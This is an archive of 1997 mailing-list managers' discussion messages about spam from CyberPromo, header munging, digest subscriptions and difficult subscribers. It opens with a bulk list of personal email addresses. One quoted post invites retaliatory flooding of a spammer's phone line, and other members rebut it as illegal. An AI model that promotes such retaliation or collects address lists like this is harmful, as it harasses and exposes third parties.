From: EAID-GO-PLANS2@emh6.korea.army.mil 1 From: eblackwe@med.wayne.edu 1 From: ecurb@intercom.it 1 From: elee2@aries.ee.mcgill.ca 24 From: eunk@csulb.edu 2 From: Euros@worldnet.att.net 3 From: Ewek@msn.com 1 From: foxpro@idirect.com 1 From: freeway@dm1.com 2 From: gbryan@devry-phx.edu 1 From: gioconda@ctrade.ctrade.it 2 From: Gryphon@skylord.com 1 From: hattrick@laplaza.org 1 From: health711@savetrees.com 1 From: hotbiz1@concentric.net 3 From: hotline@usit.net 1 From: hroscoe@beardsleygroup.com 3 From: htran1@erols.com 5 From: IM4BUFFALO@postoffice.worldnet.att.net 1 From: ital@promo.net 2 From: itssy@mn.uswest.com 1 From: jcroft@fox.nstn.ns.ca 1 From: jean_luc@fullnet.net 1 From: jennifer3@mrsu.com 2 From: jhb1@cybermailings.com 1 From: jimh@mail2.quicknet.com 4 From: joelcar@engr.csulb.edu 1 From: JohnChen00@aol.com 2 From: johnkar@cris.com 2 From: junecho@idt.net 1 From: junjazz@nuri.net 2 From: juseok@white.xtel.com 2 From: jwchoi@geocities.com 1 From: karen@onth.com 2 From: keast@soback4.kornet.nm.kr 2 From: lachico@aol.com 2 From: landfall@soback.kornet.nm.kr 4 From: ldo@engr.csulb.edu 1 From: letters@rodney.net 2 From: ljsuk@hyundai.hdec.co.kr 1 From: lpeterson@pop3.sushiking.com 12 From: lpeterson@sushiking.com 2 From: luif@zahra.easynet.it 1 From: lutnik@cartabianca.com 1 From: lynnsgould@scomm2000.it 2 From: m.iori@lol.shiny.it 5 From: macaulay@intergate.bc.ca 1 From: marc_bernardini@rcm.inet.it 2 From: mario@Baskerville.it 1 From: mark@galactica.it 1 From: mattblack2@audiophile.com 10 From: mattblack@audiophile.com 1 From: matteo_aletti@rcm.inet.it 1 From: mbail@flash.net 1 From: melgibbo@aol.com 1 From: melissa@series2000.com 1 From: mlc777@fullmkt.com 1 From: mnathan1@worldnet.att.net 4 From: MPETER@AOL.COM 2 From: NGAMMA@aol.com 2 From: nguyel18@student.ucr.edu 1 From: noreply@feefifofe.com 1 From: Omnipotent-1@msn.com 2 From: onesource@autoresponder.net 3 From: pei@engr.csulb.edu 1 From: pgaske@audiophile.com 20 From: phant@rpi.edu 2 From: postmaster@rcm.inet.it 2 From: PPereira@usa.net 2 From: qluu@polaris.umuc.edu 1 From: quynhle@erols.com 1 From: rckhrd_69@hotmail.com 1 From: rein777@flash.net 1 From: rick.mcclanahan@bigfoot.com 1 From: RICKMAC@swbell.net 7 From: rmcclana@gmu.edu 1 From: robin.angst@juno.com 1 From: robrota@texnet.it 1 From: runaway@capital.net 1 From: sales@quantcom.com 1 From: Scott.Weiser@worldnet.att.net 8 From: scott.weiser@worldnet.att.net 1 From: sfnmzz@mbox.vol.it 2 From: sillyslut@hotmail.com 4 From: simmons@pacbell.net 2 From: Skidout@aol.com 1 From: SmileySmak@aol.com 1 From: sourceone@usa.net 1 From: speed@paperuzz.net 1 From: sphillip@usr.com 1 From: squirel@webtv.net 2 From: susan140@juno.com 1 From: sweetjan@ix.netcom.com 3 From: sys21@nuri.net 2 From: S_A_G_E@hotmail.com 2 From: tildeath@nuri.net 3 From: tlaz@infospace.com 1 From: toddost@bham.mindspring.com 3 From: tradelaw@onramp.net 8 From: tran@addis.net 1 From: trangle@msuvx2.memphis.edu 1 From: trdchau@erols.com 1 From: unk@mindspring.com 1 From: utopia@freenet.hut.fi 1 From: valentyn@dds.nl 1 From: vayman@eden.rutgers.edu 1 From: vert011@geocities.com 1 From: webrunner@foxnet.net 2 From: wshaw@wantree.com.au 1 From: wskjr@swbell.net 1 From: Zoreo@chisp.net 2 From: zybrgoat@ix.netcom.com -- ----------------------------------------------------------------- Dr. Alexander Verbraeck Delft University of Technology Department of Systems Engineering, Policy Analysis and Management Jaffalaan 5 P.O. Box 5015, 2600 GA Delft The Netherlands Tel: +31 15 2783805 Secr: +31 15 2788380 Fax: +31 15 2783429 e-mail: A.Verbraeck@sepa.tudelft.nl List manager BPR-L, DYNMOD-L http://www.sepa.tudelft.nl/~alexandv/ See also ..../bpr-l.html ----------------------------------------------------------------- From owner-list-managers-outgoing Tue Apr 22 08:15:01 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA18215 for list-managers-outgoing; Tue, 22 Apr 1997 08:13:38 -0700 (PDT) Received: from spitfire.ecc.engr.uky.edu (spitfire.ecc.engr.uky.edu [128.163.144.21]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id IAA18197 for ; Tue, 22 Apr 1997 08:13:28 -0700 (PDT) Received: from skyhawk.ecc.engr.uky.edu (skyhawk.ecc.engr.uky.edu [128.163.144.19]) by spitfire.ecc.engr.uky.edu (8.7.6/8.7.3) with ESMTP id LAA19536 for ; Tue, 22 Apr 1997 11:20:17 -0400 (EDT) Received: from is-wmorgan (wmorgan.is.lex.databeam.com [192.101.203.169]) by skyhawk.ecc.engr.uky.edu (8.7.6/8.7.3) with SMTP id LAA01779 for ; Tue, 22 Apr 1997 11:13:16 -0400 (EDT) Message-Id: <3.0.1.32.19970422110440.00950390@s.ecc.engr.uky.edu> X-Sender: morgan@s.ecc.engr.uky.edu X-Mailer: Windows Eudora Light Version 3.0.1 (32) Date: Tue, 22 Apr 1997 11:04:40 -0400 To: list-managers@greatcircle.com From: Wes Morgan Subject: Re: CyberPromo In-Reply-To: References: <3.0.1.32.19970415112232.006cac1c@klstools.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 02:26 PM 4/21/97 -0700, Brian Behlendorf wrote: >On Tue, 15 Apr 1997, Ken Kyler wrote: >> I don't know if this will work or not, but I called CyberPromo >> (800-650-9110) and requested that my domains be removed from their "lists." > >I find it hilarious that a spam outfit has a 1-800 number, and invite >anyone with proper equipment to give them a taste of their own medicine in >a medium they can understand. ABSOLUTELY NOT! Listen, folks, all of this spleen-venting "taste of their own medicine" gets us nowhere. The activities described are, in many jurisdictions, plainly illegal, and are guaranteed to make the perpetrators (and, by extension, those who recommend such things) look like juvenile delin- quents. AGIS, the provider to Cyberpromo, has allegedly suffered a breakin to the router connecting Cyberpromo to the network; said alleged breaking resulted in denial of service to not only Cyberpromo, but also several/many other AGIS customers. AGIS has reportedly brought the matter to the attention of the FBI, and they have every right to do so. I wouldn't want to be one of those who has suggested such things on public mailing lists; those people should be expecting to hear from the Feds. Given the alarming frequency of suggestions such as the one cited above on various mailing lists, it's easy to paint our entire group as complete rogues. That does *not* help our work in any fashion. For your own protection - and for those of us working with you - let's all drop the talk of guerilla warfare. It's wrong, it's illegal, and it puts us at the level of Cyberpromo et al. --Wes From owner-list-managers-outgoing Tue Apr 22 10:40:02 1997 Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id KAA03420 for ; Tue, 22 Apr 1997 10:40:02 -0700 (PDT) Received: from domino.dp.ua (domino.dp.ua [194.44.23.247]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id KAA16465 for ; Tue, 22 Apr 1997 10:40:10 -0700 (PDT) Received: from domino.dp.ua (smtp-win.domino.dp.ua [192.168.222.67]) by domino.dp.ua (8.8.2/8.7.dis) with SMTP id UAA28901 for ; Tue, 22 Apr 1997 20:45:09 +0300 (UKD) Date: Tue, 22 Apr 1997 20:45:09 +0300 (UKD) From: Dmitry Gorobets To: list-managers-outgoing@GreatCircle.COM Subject: Is It a bug? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII or not? From owner-list-managers-outgoing Tue Apr 22 10:44:22 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA03397 for list-managers-outgoing; Tue, 22 Apr 1997 10:39:54 -0700 (PDT) Received: from colossus.arl.mil (colossus.arl.mil [131.218.204.98]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id KAA03386 for ; Tue, 22 Apr 1997 10:39:42 -0700 (PDT) Received: from [131.218.204.98] by colossus.arl.mil with ESMTP (Eudora Internet Mail Server 1.1.2); Tue, 22 Apr 1997 13:43:05 -0400 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Tue, 22 Apr 1997 13:41:12 -0400 To: List-Managers@GreatCircle.COM, listmom-talk@skyweyr.com From: Vince Sabio Subject: Suggestion for MLM Developers Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On one of the discussion lists that I recently inherited, someone contacted me to ask whether it was possible - Vince S. wavelet@colossus.arl.mil -- For info on HumourNet--the Internet's moderated mailing list for humor-- send the command INFO HUMORNET (only one U) to listproc@csf.colorado.edu -- Because The Only GOOD Spammer is a DEAD Spammer From owner-list-managers-outgoing Tue Apr 22 13:59:22 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA04757 for list-managers-outgoing; Tue, 22 Apr 1997 13:55:29 -0700 (PDT) Received: from kirkwood.hoosier.net (kirkwood.hoosier.net [206.106.64.12]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id NAA04736 for ; Tue, 22 Apr 1997 13:55:18 -0700 (PDT) Received: from localhost (lev@localhost) by kirkwood.hoosier.net (8.8.5/8.8.5) with SMTP id PAA13358 for ; Tue, 22 Apr 1997 15:54:34 -0500 Date: Tue, 22 Apr 1997 15:54:33 -0500 (EST) From: P Kayak X-Sender: lev@kirkwood.hoosier.net To: list-managers@greatcircle.com Subject: Re: CyberPromo Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Mr Kyler's idea, I was preparing to call and merely inquire about the spam. With incomplete information, the best one can do at times is fight rust with rust (oxidation). Pretend good faith phone calls CAN be informative. From owner-list-managers-outgoing Tue Apr 22 14:15:52 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA06785 for list-managers-outgoing; Tue, 22 Apr 1997 14:12:37 -0700 (PDT) Received: from FSM-1.PICA.ARMY.MIL (fsm-1.pica.army.mil [129.139.164.101]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id OAA06774 for ; Tue, 22 Apr 1997 14:12:31 -0700 (PDT) Date: Tue, 22 Apr 97 17:13:54 EDT From: Info-LabVIEW List Maintainer To: list-managers@greatcircle.com Subject: Header Munging? Organization: SADARM SPICE Team, US Army ARDEC, Picatinny Arsenal, NJ Message-ID: <9704221713.aa21277@fsm-1.pica.army.mil> Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Someone, a while back, had posted a URL with some pros and cons of header munging. Of course, now that I'm looking for it, I can't find it. Anyone? Tom Coradeschi, Info-LabVIEW List Maintainer http://k-whiner.pica.army.mil/info-labview/info-labview.html From owner-list-managers-outgoing Tue Apr 22 15:15:29 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA14292 for list-managers-outgoing; Tue, 22 Apr 1997 15:09:39 -0700 (PDT) Received: from mushi.colo.neosoft.com (mushi.colo.neosoft.com [206.109.6.82]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id PAA14232 for ; Tue, 22 Apr 1997 15:09:14 -0700 (PDT) Received: (qmail 25657 invoked from network); 22 Apr 1997 22:09:10 -0000 Received: from bonkers.neosoft.com (HELO bonkers.taronga.com) (root@206.109.2.48) by mushi.colo.neosoft.com with SMTP; 22 Apr 1997 22:09:10 -0000 Received: (from arielle@localhost) by bonkers.taronga.com (8.6.11/8.6.9) id RAA01494 for list-managers@greatcircle.com; Tue, 22 Apr 1997 17:09:08 -0500 From: arielle@taronga.com (Stephanie da Silva) Message-Id: <199704222209.RAA01494@bonkers.taronga.com> Subject: Header Munging? To: list-managers@greatcircle.com Date: Tue, 22 Apr 1997 17:09:07 -0500 (CDT) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Info-LabVIEW List: > > Someone, a while back, had posted a URL with some pros and cons of header > munging. Of course, now that I'm looking for it, I can't find it. Anyone? http://garcon.unicom.com/FAQ/reply-to-harmful.html Worth bookmarking. From owner-list-managers-outgoing Tue Apr 22 17:06:50 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA27521 for list-managers-outgoing; Tue, 22 Apr 1997 16:36:19 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id QAA27454 for list-managers@greatcircle.com; Tue, 22 Apr 1997 16:36:07 -0700 (PDT) Received: from netcomsv.netcom.com (uucp9.netcom.com [163.179.3.9]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id FAA28094 for ; Mon, 21 Apr 1997 05:29:45 -0700 (PDT) Received: from sagarmatha.com by netcomsv.netcom.com with UUCP (8.6.12/SMI-4.1) id FAA16535; Mon, 21 Apr 1997 05:25:11 -0700 Received: by chomolongma (Smail3.1.29.1 #3) id m0wJHwJ-0001bSC; Mon, 21 Apr 97 05:11 PDT Message-Id: From: james@sagarmatha.com (James C. Armstrong) Subject: Re: The chutzpah award To: henrym@sacto.mp.usbr.gov (Henry W. Miller) Date: Mon, 21 Apr 1997 05:11:23 -0800 (PDT) Cc: rogerk@QueerNet.ORG, list-managers@GreatCircle.COM, henrym@sacto.mp.usbr.gov In-Reply-To: <009B3168.4BD1A0C6.23@sacto.mp.usbr.gov> from "Henry W. Miller" at Apr 20, 97 11:09:00 pm Reply-To: james@sagarmatha.com MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk -> > I get several of those a week... not to mention the one who recently -> > posted out-of-charter stuff, then reposted my adminishing private email! -> > After I bounced him, he said that he just did the whole stupid thing to -> > get me to unsubscribe him! That's why my lists have a read-only mode. I'd have just bounced said subscriber there, and left him to figure out how to get off the list. -- James C. Armstrong, Jr. | PG&E Sucks. james@sagarmatha.com | From owner-list-managers-outgoing Tue Apr 22 17:14:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA02553 for list-managers-outgoing; Tue, 22 Apr 1997 17:03:22 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id RAA02539 for list-managers@greatcircle.com; Tue, 22 Apr 1997 17:03:18 -0700 (PDT) Received: from advocatehealth.com (mail.advocatehealth.com [206.230.178.3]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id MAA24563 for ; Tue, 22 Apr 1997 12:35:47 -0700 (PDT) Received: from bcrawford ([134.73.48.75]) by moat.advocatehealth.com with SMTP id <41489>; Tue, 22 Apr 1997 14:47:45 -0500 Message-Id: <3.0.1.16.19970422143458.5a07b15a@popmail.mcs.net> X-Sender: crawford@popmail.mcs.net X-Mailer: Windows Eudora Light Version 3.0.1 (16) Date: Tue, 22 Apr 1997 09:34:58 -0500 To: "ListMom-Talk Discussion List" , List-Managers@GreatCircle.COM, listmom-talk@skyweyr.com From: Brian Crawford Subject: Re: Suggestion for MLM Developers In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 02:37 PM 4/22/97 -0400, Vince Sabio wrote: >On one of the discussion lists that I recently inherited, someone contacted >me to ask whether it was possible to subscribe to DIGEST mode *immediately* >upon subscribing to the list (note that the list is on a ListServ, and >is configured for subscription confirmations). > I believe you can set DIGEST as a default option so all new subscriptions are DIGESTed. That may not be the answer you are looking for, but hey, it's an answer. :-) Brian _________________________________________________ Brian Crawford Chicago crawford@mcs.com NPBMD From owner-list-managers-outgoing Tue Apr 22 17:19:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA27590 for list-managers-outgoing; Tue, 22 Apr 1997 16:36:53 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id QAA27580 for list-managers@greatcircle.com; Tue, 22 Apr 1997 16:36:50 -0700 (PDT) Received: from mail.proper.com (mail.proper.com [206.86.127.224]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id IAA19926 for ; Mon, 21 Apr 1997 08:44:30 -0700 (PDT) Received: from [165.227.249.100] (dharma.proper.com [165.227.249.100]) by mail.proper.com (8.8.5/8.7.3) with ESMTP id IAA07883 for ; Mon, 21 Apr 1997 08:43:12 -0700 (PDT) Message-Id: In-Reply-To: References: <199704202130.OAA25278@ayla.idyllmtn.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 21 Apr 1997 08:45:07 -0700 To: list-managers@GreatCircle.COM From: Paul Hoffman Subject: Re: IGNORE (SORRY): Probably prelude to a spam: getting on "oknames" list Sender: list-managers-owner@GreatCircle.COM Precedence: bulk >If he checked the logs further, he would've seen a subscribe >followed by several (unsuccessful) "information" requests, and then another >subscribe to about 3/4 of the lists there. They are IETF Working Group >lists--from what I'm told, a great place to read about the future workings >of various protocols and standards on the 'net. Todd's correct here. I freaked out when I saw that he had subscribed to "oknames", which as those of us who run Majordomo know is a file that is used to list people who can post to restricted lists, even ones they're not on. That action triggered my alert to this list, for which I apologize. --Paul Hoffman, Director --Internet Mail Consortium From owner-list-managers-outgoing Tue Apr 22 17:19:58 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA27114 for list-managers-outgoing; Tue, 22 Apr 1997 16:33:30 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id QAA27103 for list-managers@greatcircle.com; Tue, 22 Apr 1997 16:33:27 -0700 (PDT) Received: from queernet.queernet.org (queernet.queernet.org [140.174.78.69]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id XAA25632 for ; Sun, 20 Apr 1997 23:04:45 -0700 (PDT) Received: from localhost (rogerk@localhost) by queernet.queernet.org (8.8.5/8.8.5) with SMTP id XAA04780 Date: Sun, 20 Apr 1997 23:04:08 -0700 (PDT) From: "Roger B.A. Klorese" To: "Henry W. Miller" cc: list-managers@GreatCircle.COM Subject: Re: The chutzpah award In-Reply-To: <009B315D.B72B5246.5@sacto.mp.usbr.gov> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Sun, 20 Apr 1997, Henry W. Miller wrote: > My "favorite" one happened on one of my lists several months > ago. A list member sent a message to the entire list, basically saying: > "Hey, I'm too lazy to go look up the instructions - would the list > manager please remove me from this list..." Sheesh! This one had me > beside myself for a few days... I get several of those a week... not to mention the one who recently posted out-of-charter stuff, then reposted my adminishing private email! After I bounced him, he said that he just did the whole stupid thing to get me to unsubscribe him! -- ROGER B.A. KLORESE rogerk@QueerNet.ORG 2215-R Market Street #576 San Francisco, CA 94114 +1 415 ALL-ARFF "There is only one real blasphemy -- the refusal of joy!" -- Paul Rudnick From owner-list-managers-outgoing Tue Apr 22 17:29:38 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA02653 for list-managers-outgoing; Tue, 22 Apr 1997 17:03:45 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id RAA02620 for list-managers@greatcircle.com; Tue, 22 Apr 1997 17:03:37 -0700 (PDT) Received: from dnai.com (dnai.com [140.174.162.28]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id NAA02694 for ; Tue, 22 Apr 1997 13:39:46 -0700 (PDT) Received: from [140.174.162.186] (dnai-140-174-162-186.dialup.dnai.com [140.174.162.186]) by dnai.com (8.8.5/8.8.5) with ESMTP id NAA23591; Tue, 22 Apr 1997 13:39:30 -0700 (PDT) Message-Id: In-Reply-To: <3.0.1.16.19970422143458.5a07b15a@popmail.mcs.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 22 Apr 1997 13:39:28 -0700 To: "ListMom-Talk Discussion List" , List-Managers@GreatCircle.COM From: Mikael Hansen Subject: Re: Suggestion for MLM Developers Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 09:34 -0500 4/22/97, Brian Crawford wrote: >At 02:37 PM 4/22/97 -0400, Vince Sabio wrote: > >>On one of the discussion lists that I recently inherited, someone contacted >>me to ask whether it was possible to subscribe to DIGEST mode *immediately* >>upon subscribing to the list (note that the list is on a ListServ, and >>is configured for subscription confirmations). >> > >I believe you can set DIGEST as a default option so all new subscriptions >are DIGESTed. That may not be the answer you are looking for, but hey, it's >an answer. I certainly like all of the above. It's in AutoShare (a freeware Mac list server) too, and the support for Brian's suggestion is list-specific of course and pertains to conceal, mail and ack as well. -- Mikael Hansen From owner-list-managers-outgoing Tue Apr 22 17:35:28 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA27650 for list-managers-outgoing; Tue, 22 Apr 1997 16:37:20 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id QAA27640 for list-managers@greatcircle.com; Tue, 22 Apr 1997 16:37:17 -0700 (PDT) Received: from outlawnet.com (outlawnet.com [204.245.248.202]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id LAA12354 for ; Mon, 21 Apr 1997 11:24:38 -0700 (PDT) Received: from [163.185.20.234] (unused234.sugar-land.wireline.slb.com [163.185.20.234]) by outlawnet.com (8.7.5/8.7.3) with ESMTP id LAA28951 for ; Mon, 21 Apr 1997 11:25:01 -0700 (PDT) X-Sender: garyb@outlawnet.com Message-Id: In-Reply-To: <199704210800.BAA04999@honor.greatcircle.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 21 Apr 1997 13:28:10 -0600 To: List-Managers@GreatCircle.COM From: "Gary E. Bickford" Subject: Re: Cyberpromo... Sender: list-managers-owner@GreatCircle.COM Precedence: bulk An interesting list of domains it is, too. Gives one an idea of what they're into: ANOTHERDOMAIN.COM, ISPAM.NET, [a bunch of dirty ones I won't repeat], etc., plus quite a few nondescript ones. GB And, BTW - while I was looking up a recent spammer (Global Gold, on isgroup.net), I found "Global Air Logistics" owns a hundred or so domains, including "VATICANCITY.ORG", "HOLYFATHER.COM", WERONLINE.COM. Looks suspicious to me. >Date: Sun, 20 Apr 1997 19:45:49 -0400 >From: Vince Sabio >Subject: Re: Cyberpromo... > >** Sometime around 14:04 -0700 4/19/97, Mike Cuddy sent everyone: > >>I've just about had enough of cyber-fucking-promo (pardon the language ...) >>Anyone have a good list of addresses stick in my cisco 2501?. I'm going to >>cut them off from my networks completely. > >You axed furrit, Mike, you got it: > > > >>(any better solutions?) From owner-list-managers-outgoing Tue Apr 22 17:39:26 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA02701 for list-managers-outgoing; Tue, 22 Apr 1997 17:04:00 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id RAA02664 for list-managers@greatcircle.com; Tue, 22 Apr 1997 17:03:52 -0700 (PDT) Received: from colossus.arl.mil (colossus.arl.mil [131.218.204.98]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id NAA02654 for ; Tue, 22 Apr 1997 13:39:04 -0700 (PDT) Received: from [131.218.204.98] by colossus.arl.mil with ESMTP (Eudora Internet Mail Server 1.1.2); Tue, 22 Apr 1997 16:42:44 -0400 Message-Id: In-Reply-To: <3.0.1.16.19970422143458.5a07b15a@popmail.mcs.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Tue, 22 Apr 1997 16:40:58 -0400 To: "ListMom-Talk Discussion List" , List-Managers@GreatCircle.COM From: Vince Sabio Subject: Re: Suggestion for MLM Developers Sender: list-managers-owner@GreatCircle.COM Precedence: bulk ** Sometime around 09:34 -0500 4/22/97, Brian Crawford sent everyone: >>On one of the discussion lists that I recently inherited, someone contacted >>me to ask whether it was possible to subscribe to DIGEST mode *immediately* >>upon subscribing to the list (note that the list is on a ListServ, and >>is configured for subscription confirmations). > >I believe you can set DIGEST as a default option so all new subscriptions >are DIGESTed. That may not be the answer you are looking for, but hey, it's >an answer. I know that DIGEST can be set as th default -- but this is definitely a *discussion*-oriented list, and one that is populated with lots of newbies. Making a change like that would confuse the greener subscribers too much. Point is, it'd be nice to be able to subscribe and set DIGEST in one swell foop. - Vince Sabio orionsoft@telephonet.com -- If you run a mailing list and are tired of manually processing mail bounces, then you probably need SmartBounce -- currently managing mailing lists in excess of 150,000 subscribers. For more information, send a blank email to or visit . -- From owner-list-managers-outgoing Tue Apr 22 17:40:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA27534 for list-managers-outgoing; Tue, 22 Apr 1997 16:36:25 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id QAA27499 for list-managers@greatcircle.com; Tue, 22 Apr 1997 16:36:15 -0700 (PDT) Received: from mailbox.neosoft.com (mailbox.neosoft.com [206.109.1.16]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id IAA13069 for ; Mon, 21 Apr 1997 08:02:31 -0700 (PDT) Received: from praline.no.neosoft.com (praline.no.NeoSoft.COM [206.27.160.253]) by mailbox.neosoft.com (8.8.4/8.8.3) with SMTP id KAA10497 for ; Mon, 21 Apr 1997 10:02:15 -0500 (CDT) Date: Mon, 21 Apr 1997 10:02:15 -0500 (CDT) From: Ray Jones Reply-To: Ray Jones cc: list-managers@GreatCircle.COM Subject: Re: The chutzpah award In-Reply-To: <009B315D.B72B5246.5@sacto.mp.usbr.gov> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Sun, 20 Apr 1997, Henry W. Miller wrote: > My "favorite" one happened on one of my lists several months > ago. A list member sent a message to the entire list, basically saying: > "Hey, I'm too lazy to go look up the instructions - would the list > manager please remove me from this list..." Sheesh! This one had me > beside myself for a few days... I add a footer at the end of each message such as: To unsubscribe, send "unsubscribe" to majordomo@foobar.com So far, it seems to have worked. What always "gets me" is the fools who manage to figure out how to subscribe, but can't figure out how to unsubscribe. The worst two I ever had were a phd in biomedicine and a guy working on his doctorate in computer science. Between the two of them, they sent several messages (all of them wrong) first to the listserv (at that time rather than majordomo) address and then to me. They made just about every mistake that could be. They sent the messages to the wrong address, spelled the list name and commands wrong and so on. Yet they both had the unmitigated temerity to write multiple messages to "the list" complaining that the listserv didn't work and so on. I could have understood a little better if they both hadn't been so well educated and one of them in computer science. It just confirms my opinion of today's educational process. My wife taught English and literature at the high school level and finally gave up after almost 30 years. The students that come to her are passed along all making good grades when most of them can barely read and write. -- Regards, Ray Jones **************************************************************** Coming to New Orleans? Contact "Big Ray the Buggy Driver" Licensed Tour Guide Historical Tours through the romantic French Quarter in New Orleans in a mule-drawn "vis-a-vis" carriage while enjoying its ambiance and hear about our history, sites of interest and way of life. Cellular Phone 504-884-9572 Digital Beeper 504-547-8032 CURRENTLY ON SABBATTICAL AND NOT WORKING ray.jones@mail.sstar.com http://www.neosoft.com/~rayjones/welcome.html "Big Ray's" New Orleans Mailing List Instructions To SUBSCRIBE: send "subscribe noml" TO: majordomo@communique.net From owner-list-managers-outgoing Tue Apr 22 17:42:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA02526 for list-managers-outgoing; Tue, 22 Apr 1997 17:03:12 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id RAA02445 for list-managers@greatcircle.com; Tue, 22 Apr 1997 17:03:00 -0700 (PDT) Received: from colossus.arl.mil (colossus.arl.mil [131.218.204.98]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id LAA12441 for ; Tue, 22 Apr 1997 11:33:50 -0700 (PDT) Received: from [131.218.204.98] by colossus.arl.mil with ESMTP (Eudora Internet Mail Server 1.1.2); Tue, 22 Apr 1997 14:37:43 -0400 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Tue, 22 Apr 1997 14:37:37 -0400 To: List-Managers@GreatCircle.COM, listmom-talk@skyweyr.com From: Vince Sabio Subject: Suggestion for MLM Developers Sender: list-managers-owner@GreatCircle.COM Precedence: bulk (Sorry about that first one ... I got called out to a meeting as I started writing it up, and must have queued it instead of just saving it. It's been a bad week for e-mail, and it's only Tuesday ...) On one of the discussion lists that I recently inherited, someone contacted me to ask whether it was possible to subscribe to DIGEST mode *immediately* upon subscribing to the list (note that the list is on a ListServ, and is configured for subscription confirmations). The problem is this: The person sends in a subscribe request, and gets the magic cookie message, which he then returns to the list server. At that point, he is on the list -- but not prior. So he must *immediately* send another message setting himself to DIGEST, preferably even before he receives confirmation of his subscription. A better idea would be if he could issue something like this: subscribe listname myname set listname digest ... in the same message, and have the PENDING subscription set to DIGEST. Then, when he returned the magic cookie, he'd be immediately subscribed in DIGEST mode. Currently, issuing the above commands in the same message will result in a "you are not subscribed to list 'listname' ..." message in response to the SET DIGEST request. I'm pretty sure that this is not an issue for Majordomo, since I believe it uses separate lists for digest mode. And IIRC, it is not an issue for Lyris, since it actually enters the subscription into the list, but places it into a 